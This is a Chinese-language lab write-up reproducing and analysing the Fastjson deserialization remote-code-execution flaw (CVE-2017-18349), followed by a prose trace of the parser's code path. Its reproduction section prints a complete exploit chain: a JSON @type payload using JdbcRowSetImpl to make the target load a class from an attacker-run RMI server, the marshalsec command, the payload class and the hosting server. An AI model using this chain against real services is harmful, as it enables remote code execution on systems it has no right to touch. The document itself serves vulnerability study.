一、漏洞背景
漏洞编号:CVE-2017-18349
二、漏洞复现
poc源于https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
计算器poc
POST /FastjsonWeb_war/json HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 147
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
"autoCommit":true
}
rmi:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.129:8000/#rce_1_2_24_exploit" 9999
Class:
import java.lang.Runtime;
import java.lang.Process;
public class rce_1_2_24_exploit {
public rce_1_2_24_exploit(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception var2){
var2.printStackTrace();
}
}
public static void main(String[] args) {
new rce_1_2_24_exploit();
}
}
http:
python -m SimpleHTTPServer 8000
三、漏洞分析
网络上关于该漏洞的分析的文章已经非常多了,这里做一个大概的分析,执行过程分为两个大部分。
(1)fastjson通过反序列化,将json中指定的字符串对象所属的类的名称(通过反射的方式)完成还原对象的过程。
(2)又因为可以随意还原大部分对象并以此进行调用,因此可以通过这个方式去利用某些类进行远程命令执行。又称之为利用链。
1、反序列化过程
构造payload进行攻击
该接口对应的控制器如下,并且加上断点。
继续跟进parse
进入parse方法中
DefaultJSONParser的构造方法主要在进行解析前的初始化操作。其中ParseConfig.getGlobalInstance()方法将返回global参数。
global变量则是有newParserConfig初始化而来,溯源过程如下
最终逆向回去则得到的是最终通过方法重载的方法调用,主要包括被禁止调用的方法等等。
初始化操作
回到DefaultJSONParser,进入到parse方法中进行解析
由于在上一步初始化操作时已经可以看到当第一个字符为“{”时,lexer.token为12,因此直接进入case12的分支。
开始进入解析操作,取出第一个字符,并且判断该字符是否为双引号,若为双引号,则意味着key的开始
通过scansybol将key的字符串取出来,并切判断该json是否为正常的json,若不正常则抛出异常
此时key的值已为@type。继续往下分析当key的名字取出来之后,则判断该key是否为@type,若为@type则调用继续调用scanSymbol将key的键值取出来,然后使用TypeUtils.loadClass对key的键值即该类进行加载进行的加载
该加载流程为,首先获取默认的类加载器
loadClass加载时,首先判断mappings是否存在,若有则直接返回该mappings中的该类的clazz对象,若无则重新加载到mappings中。
接着上面的case12流程继续走,获取反序列化器
(神奇的是第一次调用的时候deserializer不为空,后来才发现为空于是跟进起重新进行反序列化器的构造)
调用newInstance进行实例化
跟进deserialize方法
转向重载的构造方法
(但是其下一步的asm当中的方法貌似没办法调试,目前对fastjson源码还没有很熟暂且搁置)
继续跟进
其deserialize方法中在遇到@type之后,通过循环去处剩下的key和value值进行解析(通过ScanSymbol)
此时此刻获取到key的值为dataSourceName
再次循环取出key为autoCommit
最终进入parseField方法
这一段有很长的调用链,太复杂了,直接跟到DefaultDeserializer类的this.setValue方法,将其他key取出来的值直接作为参数复制给com.sun.rowset.JdbcRowSetImpl,为内部属性赋值,而在赋值过程中需要调用其内部属性的set方法,如autoCommit的复制最终会调用setAutoCommit方法。
而在setAutoCommit方法中可以看到其调用了connect方法
connect方法中,默认通过jndi的方式(lookup方法)对数据源进行获取,若lookup方法中的参数可控,则会造成命令执行,而其中的dataSourceName恰好是我们可控的,因此便可构造恶意的rmi服务进行攻击。
四、参考
https://mp.weixin.qq.com/s/hPDFCRWsKSA8_72OIFYfAA
https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/#1-2-23版本反序列化RCE